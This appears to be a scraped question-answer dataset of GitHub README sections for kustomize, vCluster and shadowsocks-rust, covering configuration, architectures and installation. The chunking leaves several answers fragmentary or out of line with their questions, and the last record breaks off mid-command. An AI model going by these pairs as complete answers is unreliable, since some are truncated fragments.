{"id": "gh_63654cbfabbf", "question": "How to: 1) Make a [kustomization] file", "question_body": "About kubernetes-sigs/kustomize", "answer": "In some directory containing your YAML [resource]\nfiles (deployments, services, configmaps, etc.), create a\n[kustomization] file.\n\nThis file should declare those resources, and any\ncustomization to apply to them, e.g. _add a common\nlabel_.\n\n```\n\nbase: kustomization + resources\n\nkustomization.yaml                                      deployment.yaml                                                 service.yaml\n+---------------------------------------------+         +-------------------------------------------------------+       +-----------------------------------+\n| apiVersion: kustomize.config.k8s.io/v1beta1 |         | apiVersion: apps/v1                                   |       | apiVersion: v1                    |\n| kind: Kustomization                         |         | kind: Deployment                                      |       | kind: Service                     |\n| labels:                                     |         | metadata:                                             |       | metadata:                         |\n| - includeSelectors: true                    |         |   name: myapp                                         |       |   name: myapp                     |\n|   pairs:                                    |         | spec:                                                 |       | spec:                             |\n|     app: myapp                              |         |   selector:                                           |       |   selector:                       |\n| resources:                                  |         |     matchLabels:                                      |       |     app: myapp                    |\n|   - deployment.yaml                         |         |       app: myapp                                      |       |   ports:                          |\n|   - service.yaml                            |         |   template:                                           |       |     - port: 6060                  |\n| configMapGenerator:                         |         |     metadata:                                         |       |       targetPort: 6060            |\n|   - name: myapp-map                         |         |       labels:                                         |       +-----------------------------------+\n|     literals:                               |         |         app: myapp                                    |\n|       - KEY=value                           |         |     spec:                                             |\n+---------------------------------------------+         |       containers:                                     |\n                                                        |         - name: myapp                                 |\n                                                        |           image: myapp                                |\n                                                        |           resources:                                  |\n                                                        |             limits:                                   |\n                                                        |               memory: \"128Mi\"                         |\n                                                        |               cpu: \"500m\"                             |\n                                                        |           ports:                                      |\n                                                        |             - containerPort: 6060                     |\n                                                        +-------------------------------------------------------+\n\n```\n\nFile structure:\n\n> ```\n> ~/someApp\n> ├── deployment.yaml\n> ├── kustomization.yaml\n> └── service.yaml\n> ```\n\nThe resources in this directory could be a fork of\nsomeone else's configuration.  If so, you can easily\nrebase from the source material to capture\nimprovements, because you don't modify the resources\ndirectly.\n\nGenerate customized YAML with:\n\n```\nkustomize build ~/someApp\n```\n\nThe YAML can be directly [applied] to a cluster:\n\n> ```\n> kustomize build ~/someApp | kubectl apply -f -\n> ```", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11885, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kustomize", "collected_at": "2026-01-16T23:31:05.815593"}
{"id": "gh_f33b5ee57920", "question": "How to: 2) Create [variants] using [overlays]", "question_body": "About kubernetes-sigs/kustomize", "answer": "Manage traditional [variants] of a configuration - like\n_development_, _staging_ and _production_ - using\n[overlays] that modify a common [base].\n\n```\n\noverlay: kustomization + patches\n\nkustomization.yaml                                      replica_count.yaml                      cpu_count.yaml\n+-----------------------------------------------+       +-------------------------------+       +------------------------------------------+\n| apiVersion: kustomize.config.k8s.io/v1beta1   |       | apiVersion: apps/v1           |       | apiVersion: apps/v1                      |\n| kind: Kustomization                           |       | kind: Deployment              |       | kind: Deployment                         |\n| labels:                                       |       | metadata:                     |       | metadata:                                |\n|  - includeSelectors: true                     |       |   name: myapp                 |       |   name: myapp                            |\n|    pairs:                                     |       | spec:                         |       | spec:                                    |\n|      variant: prod                            |       |   replicas: 80                |       |  template:                               |\n| resources:                                    |       +-------------------------------+       |     spec:                                |\n|   - ../../base                                |                                               |       containers:                        |\n| patches:                                      |                                               |         - name: myapp                    |\n|   - path: replica_count.yaml                  |                                               |           resources:                     |\n|   - path: cpu_count.yaml                      |                                               |             limits:                      |\n+-----------------------------------------------+                                               |               memory: \"128Mi\"            |\n                                                                                                |               cpu: \"7000m\"               |\n                                                                                                +------------------------------------------+\n```\n\nFile structure:\n> ```\n> ~/someApp\n> ├── base\n> │   ├── deployment.yaml\n> │   ├── kustomization.yaml\n> │   └── service.yaml\n> └── overlays\n>     ├── development\n>     │   ├── cpu_count.yaml\n>     │   ├── kustomization.yaml\n>     │   └── replica_count.yaml\n>     └── production\n>         ├── cpu_count.yaml\n>         ├── kustomization.yaml\n>         └── replica_count.yaml\n> ```\n\nTake the work from step (1) above, move it into a\n`someApp` subdirectory called `base`, then\nplace overlays in a sibling directory.\n\nAn overlay is just another kustomization, referring to\nthe base, and referring to patches to apply to that\nbase.\n\nThis arrangement makes it easy to manage your\nconfiguration with `git`.  The base could have files\nfrom an upstream repository managed by someone else.\nThe overlays could be in a repository you own.\nArranging the repo clones as siblings on disk avoids\nthe need for git submodules (though that works fine, if\nyou are a submodule fan).\n\nGenerate YAML with\n\n```sh\nkustomize build ~/someApp/overlays/production\n```\n\nThe YAML can be directly [applied] to a cluster:\n\n> ```sh\n> kustomize build ~/someApp/overlays/production | kubectl apply -f -\n> ```", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11885, "answer_score": 10, "has_code": true, "url": "https://github.com/kubernetes-sigs/kustomize", "collected_at": "2026-01-16T23:31:05.815612"}
{"id": "gh_f4cef4040f03", "question": "How to: Code of conduct", "question_body": "About kubernetes-sigs/kustomize", "answer": "Participation in the Kubernetes community\nis governed by the [Kubernetes Code of Conduct].\n\n[`make`]: https://www.gnu.org/software/make\n[`sed`]: https://www.gnu.org/software/sed\n[DAM]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#declarative-application-management\n[KEP]: https://github.com/kubernetes/enhancements/blob/master/keps/sig-cli/2377-Kustomize/README.md\n[Kubernetes Code of Conduct]: code-of-conduct.md\n[applied]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#apply\n[base]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#base\n[declarative configuration]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#declarative-application-management\n[kubectl announcement]: https://kubernetes.io/blog/2019/03/25/kubernetes-1-14-release-announcement\n[kubernetes documentation]: https://kubernetes.io/docs/tasks/manage-kubernetes-objects/kustomization/\n[kubernetes style]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#kubernetes-style-object\n[kustomization]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#kustomization\n[overlay]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#overlay\n[overlays]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#overlay\n[release page]: https://github.com/kubernetes-sigs/kustomize/releases\n[resource]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#resource\n[resources]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#resource\n[sig-cli]: https://github.com/kubernetes/community/blob/master/sig-cli/README.md\n[variants]: https://kubectl.docs.kubernetes.io/references/kustomize/glossary/#variant", "tags": ["kubernetes-sigs"], "source": "github_gists", "category": "kubernetes-sigs", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 11885, "answer_score": 10, "has_code": false, "url": "https://github.com/kubernetes-sigs/kustomize", "collected_at": "2026-01-16T23:31:05.815622"}
{"id": "gh_c5dcc74388e2", "question": "How to: What is vCluster?", "question_body": "About loft-sh/vcluster", "answer": "**vCluster** creates fully functional virtual Kubernetes clusters that run inside namespaces of a host cluster. Each virtual cluster has its own API server, runs on shared or dedicated infrastructure, and gives you flexible tenancy options—from simple namespaces to fully dedicated clusters.\n\n**40M+ virtual clusters deployed** by companies like Adobe, CoreWeave, Atlan, and NVIDIA.\n![vCluster gif](./docs/static/media/vcluster-github-gif-1280.gif)\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299281"}
{"id": "gh_83b0402fee26", "question": "How to: Use kubectl as usual - you're now in your virtual cluster!", "question_body": "About loft-sh/vcluster", "answer": "kubectl get namespaces\n```\n\n**Prerequisites:** A running Kubernetes cluster and `kubectl` configured.\n\n👉 **[Full Quickstart Guide](https://www.vcluster.com/docs/get-started)**", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10833, "answer_score": 10, "has_code": true, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299299"}
{"id": "gh_715123e00da8", "question": "How to: 🎮 Try Without Installing", "question_body": "About loft-sh/vcluster", "answer": "No Kubernetes cluster? Try vCluster instantly in your browser:\n\n[![Try on Killercoda](https://img.shields.io/badge/Try%20on-Killercoda-22B573?style=for-the-badge&logo=kubernetes&logoColor=white)](https://killercoda.com/vcluster)\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299307"}
{"id": "gh_4a633aaeb429", "question": "How to: 🆕 What's New", "question_body": "About loft-sh/vcluster", "answer": "| Version | Feature | Description |\n|---------|---------|-------------|\n| **v0.30** | [vCluster VPN & Netris Integration](https://www.vcluster.com/releases/en/changelog/platform-v45-and-vcluster-v030-secure-cloud-bursting-on-prem) | Tailscale-powered overlay network and automated network isolation for hybrid infrastructures |\n| **v0.29** | [Standalone Mode](https://www.vcluster.com/docs/vcluster/deploy/control-plane/binary/) | Run vCluster without a host cluster—directly on bare metal or VMs |\n| **v0.28** | [Auto Nodes](https://www.vcluster.com/docs/vcluster/deploy/worker-nodes/private-nodes/auto-nodes/) | Karpenter-powered dynamic autoscaling for private nodes |\n| **v0.27** | [Private Nodes](https://www.vcluster.com/docs/vcluster/deploy/worker-nodes/private-nodes) | External nodes with full CNI/CSI isolation |\n| **v0.26** | [Hybrid Scheduling & Namespace Syncing](https://www.vcluster.com/releases/en/changelog/vcluster-v026-namespace-syncing-and-hybrid-scheduling) | Multiple scheduler support for AI/ML workloads and fine-grained namespace synchronization |\n\n👉 **[Full Changelog](https://www.vcluster.com/releases)**\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299318"}
{"id": "gh_1f2f3cdb9ecb", "question": "How to: 🎯 Use Cases", "question_body": "About loft-sh/vcluster", "answer": "| Use Case | Description | Learn More |\n|----------|-------------|------------|\n| **GPU Cloud Providers** | Launch managed K8s for GPUs. Give customers isolated, production-grade Kubernetes fast. | [View →](https://www.vcluster.com/solutions/gpu-cloud-providers) |\n| **Internal GPU Platform** | Maximize GPU utilization without sacrificing isolation. Self-service access for AI/ML teams. | [View →](https://www.vcluster.com/solutions/internal-gpu-platform) |\n| **AI Factory** | Run AI on-prem where your data lives. Multi-tenant K8s for training, fine-tuning, inference. | [View →](https://www.vcluster.com/solutions/ai-factory) |\n| **Bare Metal K8s** | Run Kubernetes on bare metal with zero VMs. Isolation without expensive overhead. | [View →](https://www.vcluster.com/solutions/bare-metal-kubernetes) |\n| **Software Vendors** | Ship Kubernetes-native software. Each customer gets their own isolated virtual cluster. | [View →](https://www.vcluster.com/solutions/software-vendors) |\n| **Cost Savings** | Cut Kubernetes costs by consolidating clusters. Sleep mode pauses inactive clusters. | [View →](https://www.vcluster.com/cost-savings) |\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299329"}
{"id": "gh_e45c9c4ebd0a", "question": "How to: 🏗️ Architectures", "question_body": "About loft-sh/vcluster", "answer": "vCluster offers multiple deployment architectures. Each builds on the previous, offering progressively more isolation.", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299335"}
{"id": "gh_efe0c3d69606", "question": "How to: Architecture Comparison", "question_body": "About loft-sh/vcluster", "answer": "| | **Shared Nodes** | **Dedicated Nodes** | **Private Nodes** | **Standalone** |\n|---|:---:|:---:|:---:|:---:|\n| **Host Cluster** | Required | Required | Required | Not Required |\n| **Node Isolation** | ❌ | ✅ | ✅ | ✅ |\n| **CNI/CSI Isolation** | ❌ | ❌ | ✅ | ✅ |\n| **Best For** | Dev/test, cost | Production | Compliance, GPU | Bare metal, edge |\n\n👉 **[Full Architecture Guide](https://www.vcluster.com/docs/vcluster/introduction/architecture/)**", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299343"}
{"id": "gh_7d7f583972cf", "question": "How to: Minimal Configuration", "question_body": "About loft-sh/vcluster", "answer": "🔹 Shared Nodes — Maximum density, minimum cost\nVirtual clusters share the host cluster's nodes. Workloads run as regular pods in a namespace.\n```yaml\nsync:\n  fromHost:\n    nodes:\n      enabled: false  # Uses pseudo nodes\n```\n🔹 Dedicated Nodes — Isolated compute on labeled node pools\nVirtual clusters get their own set of labeled host nodes. Workloads are isolated but still managed by the host.\n```yaml\nsync:\n  fromHost:\n    nodes:\n      enabled: true\n      selector:\n        labels:\n          tenant: my-tenant\n```\n🔹 Private Nodes\nv0.27+\n— Full CNI/CSI isolation\nExternal nodes join the virtual cluster directly with their own CNI, CSI, and networking stack. Complete workload isolation from the host cluster.\n```yaml\nprivateNodes:\n  enabled: true\ncontrolPlane:\n  service:\n    spec:\n      type: NodePort\n```\n🔹 vCluster Standalone\nv0.29+\n— No host cluster required\nRun vCluster without any host cluster. Deploy the control plane directly on bare metal or VMs. The highest level of isolation—vCluster becomes the cluster.\n```yaml\ncontrolPlane:\n  standalone:\n    enabled: true\n    joinNode:\n      enabled: true\nprivateNodes:\n  enabled: true\n```\n⚡ Auto Nodes\nv0.28+\n— Karpenter-powered dynamic autoscaling\nAutomatically provision and deprovision private nodes based on workload demand. Works across public cloud, private cloud, hybrid, and bare metal environments.\n```yaml\nautoNodes:\n  enabled: true\n  nodeProvider:\nprivateNodes:\n  enabled: true\n```\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 10833, "answer_score": 10, "has_code": true, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299362"}
{"id": "gh_9e4c181fb7f7", "question": "How to: ✨ Key Features", "question_body": "About loft-sh/vcluster", "answer": "| Feature | Description |\n|---------|-------------|\n| **🎛️ Isolated Control Plane** | Each vCluster gets its own API server, controller manager, and data store—complete Kubernetes API isolation |\n| **🔗 Shared Platform Stack** | Leverage the host cluster's CNI, CSI, ingress, and other infrastructure—no duplicate platform components |\n| **🔒 Security & Multi-Tenancy** | Tenants get admin access inside their vCluster while having minimal permissions on the host cluster |\n| **🔄 Resource Syncing** | Bidirectional sync of any Kubernetes resource. Pods, services, secrets, configmaps, CRDs, and more |\n| **💤 Sleep Mode** | Pause inactive virtual clusters to save resources. Instant wake when needed |\n| **🔌 Integrations** | Native support for cert-manager, external-secrets, KubeVirt, Istio, and metrics-server |\n| **📊 High Availability** | Multiple replicas with leader election. Embedded etcd or external databases (PostgreSQL, MySQL, RDS) |\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299381"}
{"id": "gh_17009cfe0f10", "question": "How to: 🏢 Trusted By", "question_body": "About loft-sh/vcluster", "answer": "Atlan\n100 → 1 clusters\nAussie Broadband\n99% faster provisioning\nCoreWeave\nGPU cloud at scale\nLintasarta\n170+ virtual clusters in prod\nFortune 500 Insurance Company\n70% reduction in Kubernetes cost\nScanmetrix\n99% faster deployments\nDeloitte\nEnterprise K8s platform\nAda\n10x Developer Productivity\nTrade Connectors\n50% reduction in K8s ops cost\n**Also used by:** NVIDIA, ABBYY, Lintasarta, Precisely, Shipwire, Trade Connectors, and many more.\n\n👉 **[View All Case Studies](https://www.vcluster.com/case-studies)**\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299394"}
{"id": "gh_10dff21fd218", "question": "How to: 📚 Learn More", "question_body": "About loft-sh/vcluster", "answer": "🎤 Conference Talks\n| Event | Speaker | Title | Link |\n|-------|---------|-------|------|\n| KubeCon NA 2025 (Keynote) | Lukas Gentele | Autoscaling GPU Clusters Anywhere — Hyperscalers, Neoclouds & Baremetal | [Watch](https://www.youtube.com/watch?v=LGOELO-ah30) |\n| Platform Engineering Day NA 2025 (Keynote) | Saiyam Pathak | AI-Ready Platforms: Scaling Teams Without Scaling Costs | [Watch](https://www.youtube.com/watch?v=sn5kIBS9Xfg) |\n| Rejekts NA 2025 | Hrittik Roy, Saiyam Pathak | Beyond the Default Scheduler: Navigating GPU MultiTenancy in AI Era | [Watch](https://www.youtube.com/watch?v=tROp-nmNYxo) |\n| KubeCon EU 2025 | Paco Xu, Saiyam Pathak | A Huge Cluster or Multi-Clusters? Identifying the Bottleneck | [Watch](https://www.youtube.com/watch?v=6l5zCt5QsdY) |\n| HashiConf 2025 | Scott McAllister | GPU sharing done right: Secrets, security, and scaling with Vault and vCluster | [Watch](https://www.youtube.com/watch?v=zWx17azSqyU) |\n| FOSDEM 2025 | Hrittik Roy, Saiyam Pathak | Accelerating CI Pipelines: Rapid Kubernetes Testing with vCluster | [Watch](https://archive.fosdem.org/2025/schedule/event/fosdem-2025-5569-accelerating-ci-pipelines-rapid-kubernetes-testing-with-vcluster/) |\n| KubeCon India 2024 (Keynote) | Saiyam Pathak | From Outage To Observability: Lessons From a Kubernetes Meltdown | [Watch](https://www.youtube.com/watch?v=7JCZ688cWpY) |\n| CNCF Book Club 2024 | Marc Boorshtein | Kubernetes - An Enterprise Guide (vCluster) | [Watch](https://www.youtube.com/watch?v=8vwnDlkkuJM) |\n| KCD NYC 2024 | Lukas Gentele | Tenant Autonomy & Isolation In Multi-Tenant Kubernetes Clusters | [Watch](https://www.youtube.com/watch?v=AKJVLbXsUmE) |\n| KubeCon EU 2023 | Ilia Medvedev, Kostis Kapelonis | How We Securely Scaled Multi-Tenancy with VCluster, Crossplane, and Argo CD | [Watch](https://www.youtube.com/watch?v=hFiHU6W4_z0) |\n| KubeCon NA 2022 | Joseph Sandoval, Dan Garfield | How Adobe Planned For Scale With Argo CD, Cluster API, And VCluster | [Watch](https://www.youtube.com/watch?v=p8BluR5WT5w) |\n| KubeCon NA 2022 | Whitney Lee, Mauricio Salatino | What a RUSH! Let's Deploy Straight to Production! | [Watch](https://www.youtube.com/watch?v=eJG7uIU9NpM) |\n| TGI Kubernetes 2022 | TGI | TGI Kubernetes 188: vCluster | [Watch](https://www.youtube.com/watch?v=EaoxUDGpARE) |\n| Mirantis Tech Talks 2022 | Mirantis | Multi-tenancy & Isolation using Virtual Clusters (vCluster) in K8s | [Watch](https://www.youtube.com/watch?v=CoqRXdJbCwY) |\n| Solo Webinar 2022 | Rich Burroughs, Fabian Keller | Speed your Istio development environment with vCluster | [Watch](https://www.youtube.com/watch?v=b7OkYjvLf4Y) |\n| KubeCon NA 2021 | Lukas Gentele | Beyond Namespaces: Virtual Clusters are the Future of Multi-Tenancy | [Watch](https://www.youtube.com/watch?v=QddWNqchD9I) |\n🎬 Community Voice\n| Channel | Speaker | Title | Link |\n|---------|---------|-------|------|\n| TeKanAid 2024 | TeKanAid | Getting Started with vCluster: Build Your IDP with Backstage, Crossplane, and ArgoCD | [Watch](https://www.youtube.com/watch?v=nIxl2PcEs-0) |\n| Rawkode 2021 | David McKay, Lukas Gentele | Hands on Introduction to vCluster | [Watch](https://www.youtube.com/watch?v=IMdMvn2_LeI) |\n| Kubesimplify 2021 | Saiyam Pathak, Lukas Gentele | Let's Learn vCluster | [Watch](https://www.youtube.com/watch?v=I4mztvnRCjs) |\n| TechWorld with Nana 2021 | Nana | Build your Self-Service Kubernetes Platform with Virtual Clusters | [Watch](https://www.youtube.com/watch?v=tt7hope6zU0) |\n| DevOps Toolkit 2021 | Viktor Farcic | How To Create Virtual Kubernetes Clusters | [Watch](https://www.youtube.com/watch?v=JqBjpvp268Y) |\n👉 **[YouTube Channel](https://www.youtube.com/@vcluster)** • **[Blog](https://loft.sh/blog)**\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299415"}
{"id": "gh_bb66631fd717", "question": "How to: 🤝 Contributing", "question_body": "About loft-sh/vcluster", "answer": "We welcome contributions! Check out our **[Contributing Guide](https://github.com/loft-sh/vcluster/blob/main/CONTRIBUTING.md)** to get started.\n\n---", "tags": ["loft-sh"], "source": "github_gists", "category": "loft-sh", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 10833, "answer_score": 10, "has_code": false, "url": "https://github.com/loft-sh/vcluster", "collected_at": "2026-01-16T23:31:07.299421"}
{"id": "gh_fdaee695dfc1", "question": "How to: Optional Features", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "- `hickory-dns` - Uses [`hickory-resolver`](https://crates.io/crates/hickory-resolver) as DNS resolver instead of `tokio`'s builtin.\n\n- `local-http` - Allow using HTTP protocol for `sslocal`\n\n  - `local-http-native-tls` - Support HTTPS with [`native-tls`](https://crates.io/crates/native-tls)\n\n  - `local-http-rustls` - Support HTTPS with [`rustls`](https://crates.io/crates/rustls)\n\n- `local-tunnel` - Allow using tunnel protocol for `sslocal`\n\n- `local-socks4` - Allow using SOCKS4/4a protocol for `sslocal`\n\n- `local-redir` - Allow using redir (transparent proxy) protocol for `sslocal`\n\n- `local-dns` - Allow using dns protocol for `sslocal`, serves as a DNS server proxying queries to local or remote DNS servers by ACL rules\n\n- `local-fake-dns` - FakeDNS, allocating an IP address for each individual Query from a specific IP pool\n\n- `local-tun` - [TUN](https://en.wikipedia.org/wiki/TUN/TAP) interface support for `sslocal`\n\n- `local-online-config` - [SIP008](https://shadowsocks.org/doc/sip008.html) Online Configuration Delivery\n\n- `stream-cipher` - Enable deprecated stream ciphers. WARN: stream ciphers are UNSAFE!\n\n- `aead-cipher-extra` - Enable non-standard AEAD ciphers\n\n- `aead-cipher-2022` - Enable AEAD-2022 ciphers ([SIP022](https://github.com/shadowsocks/shadowsocks-org/issues/196))\n\n- `aead-cipher-2022-extra` - Enable AEAD-2022 extra ciphers (non-standard ciphers)\n\n#### Memory Allocators\n\nThis project uses system (libc) memory allocator (Rust's default). But it also allows you to use other famous allocators by features:\n\n- `jemalloc` - Uses [jemalloc](http://jemalloc.net/) as global memory allocator\n- `mimalloc` - Uses [mi-malloc](https://microsoft.github.io/mimalloc/) as global memory allocator\n- `tcmalloc` - Uses [TCMalloc](https://google.github.io/tcmalloc/overview.html) as global memory allocator. It tries to link system-wide tcmalloc by default, use vendored from source with `tcmalloc-vendored`.\n- `snmalloc` - Uses [snmalloc](https://github.com/microsoft/snmalloc) as global memory allocator\n- `rpmalloc` - Uses [rpmalloc](https://github.com/mjansson/rpmalloc) as global memory allocator", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178632"}
{"id": "gh_a32f6511bb7a", "question": "How to: **crates.io**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Install from [crates.io](https://crates.io/crates/shadowsocks-rust):\n\n```bash", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178646"}
{"id": "gh_656c888495b3", "question": "How to: Install from crates.io", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "cargo install shadowsocks-rust\n```\n\nthen you can find `sslocal` and `ssserver` in `$CARGO_HOME/bin`.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178653"}
{"id": "gh_32a1fedb6474", "question": "How to: **Install using Homebrew**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "For macOS and Linux, you can install it using [Homebrew](https://brew.sh/):\n\n```bash\nbrew install shadowsocks-rust\n```", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178659"}
{"id": "gh_b90002b98908", "question": "How to: Enable and start shadowsocks-rust.sslocal-daemon snap service", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "snap start --enable shadowsocks-rust.sslocal-daemon", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178666"}
{"id": "gh_f80f910c21eb", "question": "How to: Show generated systemd service status", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "systemctl status snap.shadowsocks-rust.sslocal-daemon.service", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178672"}
{"id": "gh_ad6c304bd51f", "question": "How to: Override generated systemd service (configure startup options)", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "systemctl edit snap.shadowsocks-rust.sslocal-daemon.service", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178677"}
{"id": "gh_8192b7aae0be", "question": "How to: Restart generated systemd service to apply changes", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "systemctl restart snap.shadowsocks-rust.sslocal-daemon.service", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178684"}
{"id": "gh_81b7c4e1bd60", "question": "How to: ... and show service status", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "systemctl status snap.shadowsocks-rust.sslocal-daemon.service\n```\n\nDefault configuration file path probably is `/var/snap/shadowsocks-rust/common/etc/shadowsocks-rust/config.json`.", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 10208, "answer_score": 10, "has_code": true, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178689"}
{"id": "gh_7f7812e19fdb", "question": "How to: **Download release**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "Download static-linked build [here](https://github.com/shadowsocks/shadowsocks-rust/releases).\n\n- Most of them are built with [cross](https://github.com/cross-rs/cross). Build environment details could be found in its README, such as glibc's version.\n- `x86_64-apple-darwin`, `aarch64-apple-darwin` are built in github's `macos-latest` image. Information could be found in [here](https://docs.github.com/en/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners).\n- `x86_64-pc-windows-msvc` is built in github's `windows-latest` image. Information could be found in [here](https://docs.github.com/en/actions/using-github-hosted-runners/using-github-hosted-runners/about-github-hosted-runners).", "tags": ["shadowsocks"], "source": "github_gists", "category": "shadowsocks", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 10208, "answer_score": 10, "has_code": false, "url": "https://github.com/shadowsocks/shadowsocks-rust", "collected_at": "2026-01-16T23:31:09.178696"}
{"id": "gh_4ba9c7a1baba", "question": "How to: **Docker**", "question_body": "About shadowsocks/shadowsocks-rust", "answer": "This project provided Docker images for the `linux/i386` and `linux/amd64` and `linux/arm64/v8` architectures.\n\n> :warning: **Docker containers do not have access to IPv6 by default**: Make sure to disable IPv6 Route in the client or [enable IPv6 access to docker containers](https://docs.docker.com/config/daemon/ipv6/#use-ipv6-for-the-default-bridge-network).\n\n#### Pull from GitHub Container Registry\n\nDocker will pull the image of the appropriate architecture from our [GitHub Packages](https://github.com/orgs/shadowsocks/packages?repo_name=shadowsocks-rust).\n\n```bash\ndocker pull ghcr.io/shadowsocks/sslocal-rust:latest\ndocker pull ghcr.io/shadowsocks/ssserver-rust:latest\n```\n\n#### Build on the local machine（Optional）\n\nIf you want to build the Docker image yourself, you need to use the [BuildX](https://docs.docker.com/buildx/working-with-buildx/).\n\n```bash\ndocker buildx build -t shadowsocks/ssserver-rust:latest -t shadowsocks/ssserver-rust:v1.15.2 --target ssserver .\ndocker buildx build -t shadowsocks/sslocal-rust:latest -t 